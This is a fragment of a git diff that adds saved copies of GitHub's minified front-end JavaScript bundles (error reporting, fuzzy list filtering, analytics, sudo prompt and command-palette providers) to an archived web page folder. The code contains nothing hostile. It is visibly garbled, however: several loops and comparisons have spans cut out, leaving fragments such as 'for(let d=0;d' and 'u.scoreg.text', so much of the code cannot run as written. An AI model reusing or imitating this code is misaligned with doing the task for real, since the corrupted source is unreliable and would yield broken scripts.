Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var 